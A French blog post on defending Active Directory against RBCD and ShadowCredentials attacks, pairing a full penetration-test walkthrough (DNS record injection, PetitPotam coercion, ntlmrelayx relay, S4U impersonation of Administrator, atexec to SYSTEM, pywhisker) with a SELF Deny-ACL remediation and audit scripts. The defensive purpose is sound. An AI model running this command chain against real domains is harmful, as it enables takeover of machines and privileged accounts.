⏱ Temps de lecture estimé : 9 minutes

Introduction

L’attaque par délégation basée sur les ressources (RBCD) est bien connue des attaquants. De nombreux articles techniques détaillent la façon dont cette attaque peut être exploitée avec des outils comme Petitpotam et ntlmrelayx, mais paradoxalement, il existe peu de documentation sur la manière de s’en protéger efficacement.

Si certaines recommandations comme l’intégration des administrateurs dans le groupe “Protected Users” ou l’activation stricte de LDAPS sont bien connues, elles peuvent être difficiles à appliquer dans des environnements de production complexes.

Cet article propose une approche, encore peu documentée, qui limite efficacement l’exploitation de RBCD tout en maintenant la compatibilité avec l’infrastructure existante sans impacter la production.

Comprendre l’attaque RBCD

Toute l’attaque RBCD répose sur l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity, cet attribut autorise un compte à s’authentifier en tant qu’un utilisateur arbitraire via une extension du protocole kerberos “S4U2Proxy”.
Par défaut, tous les comptes machines d’un domaine Active Directory ont le droit de modifier cet attribut sur leur propre objet (sur eux mêmes).

Cette permission rend l’attaque RBCD possible, car si un attaquant est en capacité de modifier l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity d’un compte machine, il est fort probable qu’il puisse en prendre le contrôle.

Exploitation typique durant un test d’intrusion

📖 Contexte:
  • Contrôleur de domaine : 10.0.0.100 (AISI-AD01$)
  • Machine de l’attaquant : 10.0.0.200
  • Machine cible : 10.0.0.11 (aisi-laptop$)
  • Compte machine compromis : (aisi-computer$)
📌 Pré-requis:
  • Posséder un compte machine du domaine (ie. compte machine compromis)
  • Possibilité d’enregistrer une entrée DNS

Vue d’ensemble de l’attaque

Schéma de l’attaque RBCD

Résumé de l’attaque

Afin de réaliser cette attaque, un attaquant doit pouvoir forcer un compte machine à s’authentifier via le protocole HTTP à lui, le cas le plus simple et fréquent est via le service WebDav, cependant cela est également réalisable via des attaques Man-in-the-Middle.

En effet, il est possible de forcer un compte machine à s’authentifier sur une machine précise si son service WebDav est activé (par défaut le service WebDav est installé sur toutes les postes client).

Ainsi, il est possible de relayer l’authentication HTTP vers le protocole LDAP, et ainsi, modifier l’attribut “msDS-AllowedToActOnBehalfOfOtherIdentity” de la machine cible.

Réalisation de l’attaque

Découverte de service WebDav via l’outil WebclientServiceScanner :

Découverte de machine possédant le service WebDav.

$ webclientservicescanner -dc-ip "10.0.0.100" "aisi.local"/"AISI-USER":'J*********'@"10.0.0.0/24"

[10.0.0.6]   RUNNING
[10.0.0.11]  RUNNING
[10.0.0.76]  RUNNING
[10.0.0.100] STOPPED
[10.0.0.167] RUNNING
[10.0.0.188] STOPPED
[10.0.0.193] RUNNING

Enregistrement d’une entrée DNS via l’outil dnstool :

Enregistrement d’une entrée DNS pointant sur la machine de l’attaquant (10.0.0.200).

Par défaut, tous les utilisateurs authentifiés possèdent le droit d’ajouter un enregistrement DNS.

$ dnstool.py -u "aisi.local"\\"AISI-USER" -p 'J*********' --action add -r "aisirecord" -d "10.0.0.200" "10.0.0.100"

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Forcer une authentification HTTP de la machine cible via l’outil Petitpotam :

Forcer l’authentification HTTP de la machine cible (10.0.0.11) au travers de son service WebDAV vers la machine attaquant.

$ petitpotam.py -d "aisi.local" -u "AISI-USER" -p 'PASSWORD' aisirecord@80/test.txt "10.0.0.11"

Trying pipe efsr
[-] Connecting to ncacn_np:10.0.0.11[\PIPE\efsrpc]
[+] Connected!
[+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Relay de l’authentification HTTP vers LDAP via l’outil ntlmrelayx :

Relay de l’authentification HTTP de la machine cible (10.0.0.11) vers le protocole LDAP du contrôleur de domaine (10.0.0.100).
Ainsi, l’attaquant contrôle une session authentifié de la machine cible (10.0.0.11) et est en capacité de modifier son attribut “msDS-AllowedToActOnBehalfOfOtherIdentity”.

$ ntlmrelayx -t "ldaps://10.0.0.100" --http-port 80 --no-dump --no-smb-server --delegate-access --escalate-user 'aisi-computer$'

[tronqué]
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 10.0.0.11 controlled, attacking target ldaps://10.0.0.100
[*] HTTPD(80): Authenticating against ldaps://10.0.0.100 as aisi.local/aisi-laptop$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD(80): Connection from 10.0.0.11 controlled, but there are no more targets left!
[*] Delegation rights modified succesfully!
[*] aisi-computer$ can now impersonate users on aisi-laptop$ via S4U2Proxy

Compromission de la machine cible

La modification de l’attribut “msDS-AllowedToActOnBehalfOfOtherIdentity” peut alors être exploitée afin d’usurper l’identité d’un utilisateur du domaine. Si celui-ci possède des droits local administrateur sur la machine, il est alors possible d’exécuter des commandes en tant que administrateur.

Cette attaque n’est pas réalisable sur des comptes étant présent dans le groupe “Protected User” ou possédant le flag “UserAccountControl = 0x100000”

# Récupération d'un TGT pour la machine aisi-computer$
$ getTGT.py -dc-ip "10.0.0.100" "aisi.local"/"aisi-computer$":'PASSWORD'
[*] Saving ticket in aisi-computer$.ccache

# Exportation du ticket TGT '.ccache' dans la variable d'environnement 'KRB5CCNAME'
$ export KRB5CCNAME=aisi-computer\$.ccache

# Demande de ticket de service afin d'usurper l'identité aisi.local\Administrateur sur aisi-laptop$
$ getST.py -k -no-pass -spn CIFS/"aisi-laptop" -impersonate ADMINISTRATEUR -dc-ip "10.146.84.200" "aisi.local"/aisi-computer\$
[*] Impersonating ADMINISTRATEUR
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in ADMINISTRATEUR@CIFS_AISI-LAPTOP@AISI.LOCAL.ccache

En possession de ce ticket de service CIFS sur la machine cible aisi-laptop$ “10.0.0.11”, un attaquant est en mesure d’exécuter des commandes en tant qu’administrateur local:

# Exportation du ticket de service '.ccache' dans la variable d'environnement 'KRB5CCNAME'
$ export KRB5CCNAME=ADMINISTRATEUR@CIFS_AISI-LAPTOP@AISI.LOCAL.ccache

# Exécution de commande via le module "atexec"
$ atexec.py -k -no-pass "aisi-laptop" 'whoami'

autorite nt\système

Une approche défensive efficace

L’objectif est d’empêcher les comptes machines de modifier leur propre attribut “msDS-AllowedToActOnBehalfOfOtherIdentity”. Pour cela, il est possible d’ajouter une restriction en interdisant explicitement cette modification à l’entité “SELF”.

Possibilité 1️⃣ : Mise en place de la remédiation via ADUC (UI)

  1. Ouvrir Active Directory Users and Computers

  2. Activer l’affichage des fonctionnalités avancées : View > Advanced Features

  3. Naviguer vers l’OU contenant les comptes machines

  4. Clic droit > Properties > Security > Advanced

  5. Ajouter une nouvelle permission pour SELF

  6. Configurer les paramètres comme suit :

  • Type : Deny

  • Applies to : Descendant Computer Objects

  • Descendre tout en bas : “Clear All”

  • Cocher : “Write msDS-AllowedToActOnBehalfOfOtherIdentity”

Possibilité 2️⃣ : Mise en place de la remédiation via Powershell (Script):

PS C:\Users\AISI\Desktop> .\remed_RBCD.ps1 -TargetDN "CN=Computers,DC=aisi,DC=local"

Objet cible à modifier : CN=Computers,DC=aisi,DC=local
Application de la nouvelle règle (Set-Acl)...
OK : La règle Deny a été ajoutée avec succès pour SELF sur 'msDS-AllowedToActOnBehalfOfOtherIdentity' (objets Computer) !
Fin du script.

Le script powershell est consultable ici : https://github.com/AISI-FR/Script-Powershell-RBCD

Après application de cette mesure, toute tentative de modification de cet attribut par un compte machine se soldera par un refus d’accès.

Proof Of Concept

Avant la mise en place de la remédiation:

# rbcd.py -delegate-from 'qcs' -delegate-to 'aisi-computer$' -dc-ip "192.168.56.101" -action write "aisi.local"/"aisi-computer$":'PASSWORD'

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] qcs can now impersonate users on aisi-computer$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     qcs          (S-1-5-21-4004568663-1086960740-4076278218-1103)

La machine “aisi-computer” possède les droits nécessaires afin de modifier son propre attribut msDS-AllowedToActOnBehalfOfOtherIdentity

Après la mise en place de la remédiation:

# rbcd.py -delegate-from 'qcs' -delegate-to 'aisi-computer$' -dc-ip "192.168.56.101" -action write "aisi.local"/"aisi-computer$":'PASSWORD' 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[-] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

La machine “aisi-computer” ne possède plus les droits nécessaire afin de modifier son propre attribut msDS-AllowedToActOnBehalfOfOtherIdentity 🎯

Conclusion

Limiter l’attaque RBCD est un défi, car les mesures classiques comme Protected Users et LDAPS sont complexes à appliquer dans certains environnements de production. En revanche, restreindre l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity est une approche efficace et peu contraignante pour empêcher l’exploitation de cette technique d’attaque.

Il est également possible de désinstaller le service WebDav de toutes les machines, cependant cette approche n’empêche pas les machines cliente d’effectuer des requêtes HTTP, ainsi, un attaquant en position de Man-in-the-Middle pourrait intercepter ces requêtes et les relayer afin d’en tirer parti.

En mettant en place cette remédiation, on ajoute une barrière supplémentaire qui complique significativement les tentatives d’exploitation RBCD par les attaquants.

Il est à noter que cette remédiation ne limite pas les attaques de type ShadowCredentials pour les environnements dotés d’un serveur ADCS.

Cependant, cette technique est une première approche qui mérite d’être davantage documentée et généralisée dans les stratégies de défense et de durcissement des environnements Active Directory.

Pour aller plus loin

Comme évoqué durant l’article, une autre attaque est réalisable de façon assez similaire, l’attaque ShadowCredentials.

Cette attaque repose sur la modification de l’attribut “msDS-KeyCredentialLink” afin d’y assigner une clé publique. Ainsi un attaquant en possession de la clé privée est en capacité de s’authentifier en tant que l’objet.

Cette attaque est plus complexe et critique à remédier car cet attribut est utilisé par des applications ou composant matériel, type Windows Hello for Business (Authentification FIDO, TPM, et Credential Guard).

Ainsi, bloquer la possibilité pour les comptes machines d’éditer leur propre attribut “msDS-KeyCredentialLink” pourrait avoir un impact sur certaines fonctionnalités d’authentification et de sécurité pour des environnements spécifiques.

1️⃣ Cependant, dans un premier, il est possible d’auditer tous les attributs “msDS-KeyCredentialLink” allouer à vos utilisateurs et comptes machines.

Microsoft a mis à disposition un script permettant d’énumérer les attribut mais seulement pour vos comptes utilisateurs, nous avons complété ce script afin d’énumérer les comptes machines :

PS > .\audit-msDS-KeyCredentialsLink.ps1

Le rapport est consultable ici : C:\temp\KeyCredentialLink-report.txt

PS > cat C:\temp\KeyCredentialLink-report.txt

Report généré le 02/20/2025 13:01:43
==== Énumération des Utilisateurs ====
[...]

==== Énumération des Ordinateurs ====
===========
Computer: aisi-computer
DN: CN=aisi-computer,CN=Computers,DC=aisi,DC=local
KeyCredialLink Entries:
   Source|Usage|DeviceID                            |KeyID
   -------------------------------------------------------------------
   AD    |NGC  |e29e9c73-5861-6178-1d77-20c044e974cb|052CA152567B180F7E596F803AC990FEB5077BB39028B632FCD56BE181677AE3

Le script powershell est consultable ici : https://github.com/AISI-FR/Audit-msDS-KeyCredentialsLink

2️⃣ Auditer les event IDs

Activer les logs des événements de modification de l’attribut “msDS-KeyCredentialsLink”

Set-AuditRule -AdObjectPath 'AD:\CN=Computers,DC=aisi,DC=local' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 -AuditFlags Success

Le script PowerShell est consultable ici : https://github.com/OTRF/Set-AuditRule

Ainsi, il vous sera possible d’avoir une vue d’ensemble des attributs affectés à vos objets utilisateur et machine.

Empêcher vos machines de modifier leurs attributs “msDS-KeyCredentialLink” pourrait impacter des fonctionnalités de sécurité majeures, comme Credential Guard.

3️⃣ Toutefois, si vous êtes en toute maîtrise de votre infrastructure, il reste possible d’empêcher la modification de l’attribut “msDS-KeyCredentialLink”:

  1. Ouvrir Active Directory Users and Computers

  2. Activer l’affichage des fonctionnalités avancées : View > Advanced Features

  3. Naviguer vers l’OU contenant les comptes machines

  4. Clic droit > Properties > Security > Advanced

  5. Ajouter une nouvelle permission pour SELF

  6. Configurer les paramètres comme suit :

  • Type : Deny

  • Applies to : Descendant Computer Objects

  • Descendre tout en bas : “Clear All”

  • Cocher : “Validated write to computer attributes”

Proof Of Concept

Avant la mise en place de la remédiation:

# pywhisker.py -v -d "aisi.local" -u "aisi-computer$" -p 'PASSWORD' -t 'aisi-computer$' --action 'add'  
[*] Searching for the target account
[*] Target user found: CN=aisi-computer,CN=Computers,DC=test,DC=fr
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 736d28d5-2c74-699a-595a-a635411f0dc6
[...]
[VERBOSE] Run the following command to obtain a TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx 2hnpstty.pfx -pfx-pass Ep0gJaQ9bbcQ1bH8q3A1 aisi.local/aisi-computer$ 2hnpstty.ccache

La machine “aisi-computer” possède les droits nécessaires afin de modifier son propre attribut msDS-KeyCredentialsLink

Après la mise en place de la remédiation:

# pywhisker.py -v -d "aisi.local" -u "aisi-computer$" -p 'PASSWORD' -t 'aisi-computer$' --action 'add'
[*] Searching for the target account
[*] Target user found: CN=aisi-computer,CN=Computers,DC=test,DC=fr
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 77ccb9f1-d5d2-c71d-e9d7-a1cc9921b9fa
[*] Updating the msDS-KeyCredentialLink attribute of aisi-computer$
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

La machine “aisi-computer” ne possède plus les droits nécessaire afin de modifier son propre attribut msDS-KeyCredentialsLink 🎯

Le mot de la fin

La meilleure approche reste un audit régulier et, si possible, une surveillance continue afin de détecter tout changement inhabituel.

Si vous souhaitez aller plus loin dans la protection de votre environnement, un SOC peut vous accompagner pour renforcer votre posture de sécurité et détecter proactivement toute anomalie, notamment la modification suspecte des attributs “msDS-AllowedToActOnBehalfOfOtherIdentity” et “msDS-KeyCredentialsLink”.

Source